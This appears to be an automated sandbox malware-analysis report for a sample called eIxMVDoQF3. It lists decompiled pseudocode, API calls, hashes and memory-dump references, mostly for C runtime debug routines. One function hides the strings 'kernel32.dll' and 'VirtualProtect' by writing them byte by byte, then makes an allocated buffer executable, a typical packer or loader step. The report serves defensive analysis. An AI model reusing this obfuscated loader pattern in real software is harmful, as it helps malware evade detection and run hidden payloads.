					_t28 = L0041B9E0(_t38,  *(_t48 + 0xc), _t38,  *((intOrPtr*)(_t48 + 0x10)),  *((intOrPtr*)(_t48 + 0x14)),  *((intOrPtr*)(_t48 + 0x18)),  *((intOrPtr*)(_t48 + 0x1c))); // executed
					 *((intOrPtr*)(_t48 - 4)) = _t28;
					if( *((intOrPtr*)(_t48 - 4)) != 0) {
						E0041B5A0(_t46,  *((intOrPtr*)(_t48 - 4)), 0,  *(_t48 + 0xc));
					}
					_t29 =  *((intOrPtr*)(_t48 - 4));
				} else {
					 *((intOrPtr*)(L00422F00(_t36))) = 0xc;
					E00422C90(_t35, _t36, _t46, _t47, L"(_HEAP_MAXREQ / nNum) >= nSize", L"_calloc_dbg_impl", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x248, 0);
					_t29 = 0;
				}
				return _t29;
			}

0x0041be0e
0x0041be0e
0x0041be0e
0x0041be0e
0x0041be1b
0x0041be1d
0x0041be20
0x0041be23
0x0041be25
0x0041be2a
0x0041be2c
0x0041be31
0x0041be36
0x0041be38
0x0041be3d
0x0041be43
0x0041be45
0x0041be45
0x0041be43
0x0041be4a
0x0041be80
0x0041be93
0x0041be9e
0x0041bea6
0x0041bead
0x0041beb9
0x0041bebe
0x0041bec1
0x0041be4c
0x0041be51
0x0041be6d
0x0041be75
0x0041be75
0x0041bec7

APIs

__invalid_parameter.LIBCMTD ref: 0041BE6D
_memset.LIBCMT ref: 0041BEB9

Strings

_calloc_dbg_impl, xrefs: 0041BE63
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041BE31, 0041BE5E
(_HEAP_MAXREQ / nNum) >= nSize, xrefs: 0041BE25, 0041BE68

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: (_HEAP_MAXREQ / nNum) >= nSize$_calloc_dbg_impl$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 3961059608-1805389939
Opcode ID: d99e891b72dfb6da2a7e15f5828529be892413066307b77d84ecb65a07e6860b
Instruction ID: 85abfd2d2ec674f36aa64d78ab6eb1167ee87b66616823a98eb24e38aebff152
Opcode Fuzzy Hash: d99e891b72dfb6da2a7e15f5828529be892413066307b77d84ecb65a07e6860b
Instruction Fuzzy Hash: AC118975A40208FBDB00DF94DD46FDE3775EB58714F10855AFA08AB2C1D778DA408B99

Uniqueness

Uniqueness Score: -1.00%

Function 00419C16, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E00419C16(intOrPtr* __edx) {
				struct HINSTANCE__* _t1;
				int _t3;
				void* _t5;

				_push("VirtualProtect");
				"VirtualProtect" = 0x6b;
				"irtualProtect" = 0x65;
				"rtualProtect" = 0x72;
				"rotect" = 0x2e;
				 *0x441771 = 0x64;
				 *0x441772 = 0x6c;
				 *0x441774 = 0;
				M0044176B = 0x6e;
				M0044176C = 0x65;
				M0044176D = 0x6c;
				M0044176E = 0x33;
				M0044176F = 0x32;
				_pop(ss);
				 *__edx =  *__edx + __edx;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA(??); // executed
				 *0x5547dc = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x453940,  *0x55abe4, 0x40, _t5 + 1); // executed
				return _t3;
			}

0x00419c17
0x00419c1c
0x00419c23
0x00419c2a
0x00419c31
0x00419c38
0x00419c3f
0x00419c46
0x00419c4d
0x00419c54
0x00419c5b
0x00419c62
0x00419c69
0x00419c6c
0x00419c6e
0x00419c70
0x00419c77
0x00419c7d
0x00419c8e
0x00419c9b
0x00419ca2
0x00419ca9
0x00419cb0
0x00419cb7
0x00419cbe
0x00419cc5
0x00419ccc
0x00419cd3
0x00419cda
0x00419ce1
0x00419ce8
0x00419cef
0x00419cf6
0x00419cfd

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 00419C77
VirtualProtect.KERNELBASE(00000040,00000000), ref: 00419CF6

Strings

VirtualProtect, xrefs: 00419C17

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID: VirtualProtect
API String ID: 3279857687-268857135
Opcode ID: de344d4a080e56a9ded67bdb0626d509b2d0f64f8a775e90f202a3e662c71461
Instruction ID: 2fcbfe794da57f3ecd4e0552fa92b34eae4c3e2dade8687ecbbc7c313487ee15
Opcode Fuzzy Hash: de344d4a080e56a9ded67bdb0626d509b2d0f64f8a775e90f202a3e662c71461
Instruction Fuzzy Hash: DC211A6854C7C0C9E302A738EE187453E969323769F1841A991951A2B2C7FB21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 0041B9FF, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0041B9FF(intOrPtr __eax, void* __ecx) {
				intOrPtr _t20;
				void* _t27;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t27 - 4)) = __eax;
					if( *((intOrPtr*)(_t27 - 4)) != 0) {
						break;
					}
					L3:
					if( *((intOrPtr*)(_t27 + 0xc)) != 0) {
						L5:
						if(E004293E0(__ecx,  *((intOrPtr*)(_t27 + 8))) != 0) {
							L7:
							L1:
							L0041BA50( *((intOrPtr*)(_t27 + 8)),  *((intOrPtr*)(_t27 + 0x10)),  *((intOrPtr*)(_t27 + 0x14)),  *((intOrPtr*)(_t27 + 0x18)),  *((intOrPtr*)(_t27 + 0x1c)));
							continue;
						} else {
							L6:
							 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
							_t20 = 0;
						}
					} else {
						L4:
						 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x1c)))) = 0xc;
						_t20 =  *((intOrPtr*)(_t27 - 4));
					}
					L8:
					return _t20;
					L9:
				}
				L2:
				_t20 =  *((intOrPtr*)(_t27 - 4));
				goto L8;
			}

0x0041b9ff
0x0041b9ff
0x0041b9ff
0x0041ba02
0x0041ba09
0x00000000
0x00000000
0x0041ba10
0x0041ba14
0x0041ba24
0x0041ba32
0x0041ba41
0x0041b9e6
0x0041b9fa
0x00000000
0x0041ba34
0x0041ba34
0x0041ba37
0x0041ba3d
0x0041ba3d
0x0041ba16
0x0041ba16
0x0041ba19
0x0041ba1f
0x0041ba1f
0x0041ba43
0x0041ba46
0x00000000
0x0041ba46
0x0041ba0b
0x0041ba0b
0x00000000

Strings

QQ, xrefs: 0041B9F9

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: d039f8b264999ff79150f890539834a14b5ea5c5a23dc61e0695d01668cb1ce3
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: 430119B1A04109EBDB14CF54D880BEB73B4EF48384F14815AFD0A87241D738EE92DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00419C6C, Relevance: 3.0, APIs: 2, Instructions: 28
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00419C6C(intOrPtr* __edx) {
				struct HINSTANCE__* _t1;
				int _t3;
				void* _t6;

				_pop(ss);
				 *__edx =  *__edx + __edx;
				 *0x441773 = 0x65; // executed
				_t1 = LoadLibraryA(??); // executed
				 *0x5547dc = _t1;
				 *0x441776 = 0;
				M0044176F = 0x50;
				M0044176D = 0x61;
				 *0x441771 = 0x6f;
				 *0x441775 = 0x74;
				M0044176C = 0x75;
				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x453940,  *0x55abe4, 0x40, _t6 + 1); // executed
				return _t3;
			}

0x00419c6c
0x00419c6e
0x00419c70
0x00419c77
0x00419c7d
0x00419c8e
0x00419c9b
0x00419ca2
0x00419ca9
0x00419cb0
0x00419cb7
0x00419cbe
0x00419cc5
0x00419ccc
0x00419cd3
0x00419cda
0x00419ce1
0x00419ce8
0x00419cef
0x00419cf6
0x00419cfd

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 00419C77
VirtualProtect.KERNELBASE(00000040,00000000), ref: 00419CF6

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 66ebad453b0597063eaa389c463b5873182f58aef1d1bb86864fa0a853e6356c
Instruction ID: 6be70ee7c8df4a0f4661fd5e6f109304272bb690d6a8c23fb6b089f12e46625b
Opcode Fuzzy Hash: 66ebad453b0597063eaa389c463b5873182f58aef1d1bb86864fa0a853e6356c
Instruction Fuzzy Hash: EA01922840C3C0CDE302E778EE087413F96D727759F0801A9D1D51A2B2C7BA21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 00424730, Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00424730() {
				void* _t1;

				_t1 = E00424660(0); // executed
				return _t1;
			}

0x00424737
0x00424740

APIs

__encode_pointer.LIBCMTD ref: 00424737

Part of subcall function 00424660: TlsGetValue.KERNEL32(00000001), ref: 00424675
Part of subcall function 00424660: TlsGetValue.KERNEL32(00000001,00000001), ref: 00424696
Part of subcall function 00424660: __crt_wait_module_handle.LIBCMTD ref: 004246AC
Part of subcall function 00424660: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 004246C6
Part of subcall function 00424660: RtlEncodePointer.NTDLL(?), ref: 004246E7

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 1a5723465e2c93bbd77babc9d4d660ca8661024bd5e0ba0e998fba94bed81bc7
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: CEA0126254420C23D04020833807F02350C83C1638E480031F50D05142684AA4104097

Uniqueness

Uniqueness Score: -1.00%

Function 0041B6A0, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;

				E004285D0(); // executed
				_t2 = L0041B6C0(_t3, _t4, _t5); // executed
				return _t2;
			}

0x0041b6a5
0x0041b6aa
0x00000000

APIs

___security_init_cookie.LIBCMTD ref: 0041B6A5

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 52422613817a88944e371b4f66b4a427ba77d32d6ea1bc63d67825c3649230ec
Instruction ID: 8d512960c62ddcb52ca4f6eff5417cda8396d793027cd150e94213249ea3a073
Opcode Fuzzy Hash: 52422613817a88944e371b4f66b4a427ba77d32d6ea1bc63d67825c3649230ec
Instruction Fuzzy Hash: 9EA0026110565C26415137A7140B94F754D8CD5718BD5001E7918521132D5CA88140EF

Uniqueness

Uniqueness Score: -1.00%

Function 00419CFF, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00419CFF(void* __eax) {
				void* _t3;

				_t3 = LocalAlloc(0, ??); // executed
				 *0x453940 = _t3;
				return _t3;
			}

0x00419d06
0x00419d0c
0x00419d11

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00419D06

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 328b38956f2cee6fd3145982f2ae6cb1bfe0be84657c63a518d1894c71b59d74
Instruction ID: 264a79083637c77b35a120d9c5117da2d419632272c14f4acaa1252e06e6d102
Opcode Fuzzy Hash: 328b38956f2cee6fd3145982f2ae6cb1bfe0be84657c63a518d1894c71b59d74
Instruction Fuzzy Hash: 75B011F000A3008BC3000F20AA08B003AA0B300B23F000232EA00E02A2CBB080008A0A

Uniqueness

Uniqueness Score: -1.00%

Function 00419CFE, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00419D06

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 6fec0e689d3f75d0cf133372ec6c0fd81cf55a127dd1543188ecb931b9ef2b46
Instruction ID: e90401dc1b2c122d05c12a740f464d47e5f9c7e426064232dd3deca42c89b7c0
Opcode Fuzzy Hash: 6fec0e689d3f75d0cf133372ec6c0fd81cf55a127dd1543188ecb931b9ef2b46
Instruction Fuzzy Hash: 03B011F000A3008BCB020FA0AE08B803BA2B308B23F000222E300A02B2CBB20000AB0A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042CC12, Relevance: 109.0, APIs: 39, Strings: 23, Instructions: 501
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042CC12() {
				struct _OVERLAPPED* _t166;
				WCHAR* _t170;
				signed int _t181;
				long _t184;
				intOrPtr _t190;
				signed int _t195;
				void* _t200;
				void* _t203;
				void* _t207;
				struct _OVERLAPPED* _t215;
				struct _OVERLAPPED** _t216;
				intOrPtr _t233;
				void* _t243;
				void* _t244;
				void* _t245;
				signed int _t267;
				signed int _t269;
				void* _t303;
				void* _t304;
				void* _t305;
				void* _t306;
				signed int _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;

				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t307 + 0x18)) != 0) {
						 *(_t307 - 0x7038) =  *(L00422F00(_t245));
						 *(L00422F00(_t245)) = 0;
						_t282 =  *((intOrPtr*)(_t307 + 0x1c));
						_t233 = E00438420(_t307 - 0x7030, 0x1000, 0xfeb,  *((intOrPtr*)(_t307 + 0x18)),  *((intOrPtr*)(_t307 + 0x1c)));
						_t309 = _t309 + 0x14;
						 *((intOrPtr*)(_t307 - 0x7034)) = _t233;
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041DAE0( *(L00422F00(_t282)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x206, 0);
							_t309 = _t309 + 0x20;
						}
						 *(L00422F00(_t282)) =  *(_t307 - 0x7038);
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041E050(E0042DC20(_t243, _t282, _t303, _t305, _t307 - 0x7030, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t236, L"wcscpy_s(szUserMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x209, 0);
							_t309 = _t309 + 0x24;
						}
					}
					if( *(_t307 + 8) == 2) {
						if( *((intOrPtr*)(_t307 + 0x18)) == 0) {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed!";
						} else {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed: ";
						}
						E0041E050(E0042DC20(_t243,  *((intOrPtr*)(_t307 - 0x8070)), _t303, _t305, _t307 - 0x5030, 0x1000,  *((intOrPtr*)(_t307 - 0x8070))), _t227, L"wcscpy_s(szLineMessage, 4096, szFormat ? L\"Assertion failed: \" : L\"Assertion failed!\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x20e, 0);
						_t309 = _t309 + 0x24;
					}
					_t246 = _t307 - 0x5030;
					E0041E050(E00437A50(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, _t307 - 0x7030), _t159, L"wcscat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x210, 0);
					_t311 = _t309 + 0x24;
					if( *(_t307 + 8) == 2) {
						if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
							_t246 = _t307 - 0x5030;
							E0041E050(E00437A50(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, "\r"), _t225, L"wcscat_s(szLineMessage, 4096, L\"\\r\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x215, 0);
							_t311 = _t311 + 0x24;
						}
						E0041E050(E00437A50(_t243, _t246, _t303, _t305, _t307 - 0x5030, 0x1000, "\n"), _t223, L"wcscat_s(szLineMessage, 4096, L\"\\n\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x217, 0);
						_t311 = _t311 + 0x24;
					}
					if( *(_t307 + 0xc) == 0) {
						E0041E050(E0042DC20(_t243, _t307 - 0x3028, _t303, _t305, _t307 - 0x3028, 0x1000, _t307 - 0x5030), _t162, L"wcscpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x225, 0);
						_t313 = _t311 + 0x24;
					} else {
						 *(_t307 - 0x703c) = 0;
						 *(_t307 - 0x7040) =  *(L00422F00(_t246));
						 *(L00422F00(_t246)) = 0;
						_push(_t307 - 0x5030);
						_push( *(_t307 + 0x10));
						_t279 = _t307 - 0x3028;
						_t215 = E0042DA30(_t307 - 0x3028, _t307 - 0x3028, 0x1000, 0x1000, L"%s(%d) : %s",  *(_t307 + 0xc));
						_t313 = _t311 + 0x1c;
						 *(_t307 - 0x703c) = _t215;
						if( *(_t307 - 0x703c) < 0) {
							E0041DAE0( *((intOrPtr*)(L00422F00(_t279))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x21f, 0);
							_t313 = _t313 + 0x20;
						}
						_t216 = L00422F00(_t279);
						_t280 =  *(_t307 - 0x7040);
						 *_t216 =  *(_t307 - 0x7040);
						if( *(_t307 - 0x703c) < 0) {
							E0041E050(E0042DC20(_t243, _t280, _t303, _t305, _t307 - 0x3028, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t217, L"wcscpy_s(szOutMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x221, 0);
							_t313 = _t313 + 0x24;
						}
					}
					 *(_t307 - 0x7044) = 0;
					_t285 = _t307 - 0x3028;
					_t166 = E0041DAE0(L00437A20(0, _t307 - 0x1020, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22b, 0);
					_t315 = _t313 + 0x34;
					 *(_t307 - 0x7044) = _t166;
					if( *(_t307 - 0x7044) != 0) {
						E0041E050(E0041DBD0(_t243, _t307 - 0x1020, _t305, _t307 - 0x1020, 0x1000, "_CrtDbgReport: String too long or Invalid characters in String"), _t209, L"strcpy_s(szOutMessage2, 4096, \"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22d, 0);
						_t315 = _t315 + 0x24;
					}
					if( *0x55b808 != 0 ||  *0x55b804 != 0) {
						 *(_t307 - 0x704c) = 0;
						 *(_t307 - 0x7048) = 0;
						L0041E3B0(0xf);
						_t315 = _t315 + 4;
						 *(_t307 - 4) = 1;
						_t285 =  *0x55b808;
						 *(_t307 - 0x704c) =  *0x55b808;
						while( *(_t307 - 0x704c) != 0) {
							 *(_t307 - 0x7050) = 0;
							_t285 =  *(_t307 - 0x704c);
							_t207 =  *(( *(_t307 - 0x704c))[6])( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7050);
							_t315 = _t315 + 0xc;
							if(_t207 == 0) {
								 *(_t307 - 0x704c) = ( *(_t307 - 0x704c))[2];
								continue;
							} else {
								 *(_t307 - 0x1024) =  *(_t307 - 0x7050);
								 *(_t307 - 0x302c) = 1;
							}
							break;
						}
						if( *(_t307 - 0x302c) == 0) {
							_t285 =  *0x55b804;
							 *(_t307 - 0x7048) =  *0x55b804;
							while( *(_t307 - 0x7048) != 0) {
								 *(_t307 - 0x7054) = 0;
								_t285 =  *(_t307 - 0x7048);
								_t203 =  *(( *(_t307 - 0x7048))[6])( *(_t307 + 8), _t307 - 0x3028, _t307 - 0x7054);
								_t315 = _t315 + 0xc;
								if(_t203 == 0) {
									 *(_t307 - 0x7048) = ( *(_t307 - 0x7048))[2];
									continue;
								} else {
									 *(_t307 - 0x1024) =  *(_t307 - 0x7054);
									 *(_t307 - 0x302c) = 1;
								}
								goto L43;
							}
						}
						L43:
						 *(_t307 - 4) = 0;
						E0042D18A();
					}
					if( *(_t307 - 0x302c) == 0) {
						if( *0x55b800 != 0) {
							 *(_t307 - 0x7058) = 0;
							_t285 = _t307 - 0x7058;
							_t200 =  *0x55b800( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7058);
							_t315 = _t315 + 0xc;
							if(_t200 != 0) {
								_t285 =  *(_t307 - 0x7058);
								 *(_t307 - 0x1024) =  *(_t307 - 0x7058);
								 *(_t307 - 0x302c) = 1;
							}
						}
						if( *(_t307 - 0x302c) == 0) {
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
								_t285 =  *(_t307 + 8);
								if( *(0x441070 +  *(_t307 + 8) * 4) != 0xffffffff) {
									_t181 =  *(_t307 + 8);
									_t263 =  *(0x441070 + _t181 * 4);
									 *((intOrPtr*)(_t307 - 0x8074)) = GetFileType( *(0x441070 + _t181 * 4));
									if( *((intOrPtr*)(_t307 - 0x8074)) == 2) {
										_t184 = E0042DBF0(_t263, _t307 - 0x3028);
										_t315 = _t315 + 4;
										_t285 =  *(_t307 + 8);
										if(WriteConsoleW( *(0x441070 +  *(_t307 + 8) * 4), _t307 - 0x3028, _t184, _t307 - 0x705c, 0) == 0) {
											if(GetLastError() == 6) {
												goto L57;
											} else {
											}
										} else {
										}
									} else {
										L57:
										 *(_t307 - 0x8064) = 0;
										_t190 = E0041DAE0(L00437A20(_t307 - 0x8064, _t307 - 0x8060, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x27e, 0);
										_t315 = _t315 + 0x34;
										 *((intOrPtr*)(_t307 - 0x8068)) = _t190;
										if( *((intOrPtr*)(_t307 - 0x8068)) == 0 ||  *((intOrPtr*)(_t307 - 0x8068)) == 0x50) {
											if( *(_t307 - 0x8064) > 0) {
												 *(_t307 - 0x8064) =  *(_t307 - 0x8064) - 1;
											}
											_t267 =  *(_t307 + 8);
											_t285 =  *(0x441070 + _t267 * 4);
											WriteFile( *(0x441070 + _t267 * 4), _t307 - 0x8060,  *(_t307 - 0x8064), _t307 - 0x705c, 0);
										} else {
											_t195 = E0042DBF0(_t307 - 0x705c, _t307 - 0x3028);
											_t315 = _t315 + 4;
											_t269 =  *(_t307 + 8);
											_t285 =  *(0x441070 + _t269 * 4);
											WriteFile( *(0x441070 + _t269 * 4), _t307 - 0x3028, _t195 << 1, _t307 - 0x705c, 0);
										}
									}
								}
							}
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000002) != 0) {
								_t285 = _t307 - 0x3028;
								OutputDebugStringW(_t307 - 0x3028);
							}
							if(( *(0x441064 +  *(_t307 + 8) * 4) & 0x00000004) != 0) {
								 *(_t307 - 0x5030) = 0;
								if( *(_t307 + 0x10) != 0) {
									E0041E050(E00438450( *(_t307 + 0x10),  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t179, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x29c, 0);
									_t315 = _t315 + 0x28;
								}
								asm("sbb ecx, ecx");
								_t285 = _t307 - 0x5030;
								 *(_t307 - 0x1024) = E0041E480(_t243, _t307 - 0x5030, _t303, _t305,  *(_t307 + 8),  *(_t307 + 0xc),  ~( *(_t307 + 0x10)) & _t307 - 0x00005030,  *((intOrPtr*)(_t307 + 0x14)), _t307 - 0x7030);
							}
						}
					}
				} else {
